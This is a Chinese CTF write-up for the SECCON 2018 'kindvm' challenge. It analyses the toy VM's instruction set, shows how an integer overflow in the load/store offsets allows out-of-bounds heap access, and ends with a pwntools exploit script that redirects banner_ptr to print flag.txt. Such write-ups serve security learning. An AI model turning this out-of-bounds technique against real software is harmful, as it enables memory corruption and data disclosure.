pwn-seccon2018-kindvm

本文介绍了一种利用虚拟指令集中的整数溢出漏洞破解KindVM的方法。通过精心构造payload,修改banner_ptr使其指向包含flag.txt的name_ptr,最终触发程序展示flag。文章详细解释了如何使用load和store指令实现这一目标。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

漏洞:整数溢出

虚拟指令集分析:

nop指令:
0x00 nop
load指令:
0x01 + 寄存器号(0-6)+ 内存地址(2字节,小于0x3fc)这个偏移考虑负值,例如设置为0xfff0,读取时是uint类型,计算偏移却是int
store指令:                                                                        这个偏移也可以考虑负值
0x02 + 内存地址(2字节,小于0x3fc) + 寄存器号(0-6)
mov指令:
0x03 + 寄存器号a + 寄存器号b 将寄存器b里面的值赋值给寄存器a
add指令:
0x04 + 寄存器号a + 寄存器号b a+=b a如果小于0,那么执行hint3()
sub指令:
0x05 + 寄存器号a + 寄存器号b a-=b
halt指令:
0x06 设置kc+4 = 1   终止执行
instant立即数:
0x07 + 寄存器号 + 立即数(32位 4字节)将立即数存入寄存器
out:
0x08 + 寄存器号 打印寄存器的值
hint:
0x09 执行hint2函数

这道题最后做完回首一下挺简单的,只是我一直在想着怎么样才能够泄露libc,然后覆盖got表。

执行hint2()和hint3()才发现只需要write(1,'flag.txt',size)就行。

这是虚拟指令集,指令的构成如上面所示。其中重要的是load指令和store指令存在整数溢出漏洞,所以能够获取到当前堆之前的数据,或者写堆之前的数据。

程序维护一个vm结构体:

只要我们将banner_ptr的值改写为name_ptr的值,name_ptr指向的字符串是"flag.txt",那么程序结束时会执行farewell函数,打开"flag.txt"文件,并且展示里面的flag。

如图所示,banner_ptr被赋值成了name_ptr。

图中0x9204038是mem的空间,binner_ptr的位置是mem-36,name_ptr的位置是mem-40。

exp:

from pwn import *

p=process('./kindvm')
# p = remote("kindvm.pwn.seccon.jp",12345)
# context.log_level='debug'
# attach(p,"b *0x8048FCC")
p.recvuntil("Input your name : ")
p.sendline('flag.txt')

p.recvuntil("Input instruction : ")

payload="\x01\x03\xff\xd8" #load 03,[0xffd8]  reg3<=*(mem-40) 0xffd8 = -40
payload+="\x02\xff\xdc\x03" #store [0xffdc],03 *(mem-36)<=reg3  0xffdc = -36
payload+="\x06"                #halt
p.sendline(payload)
p.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值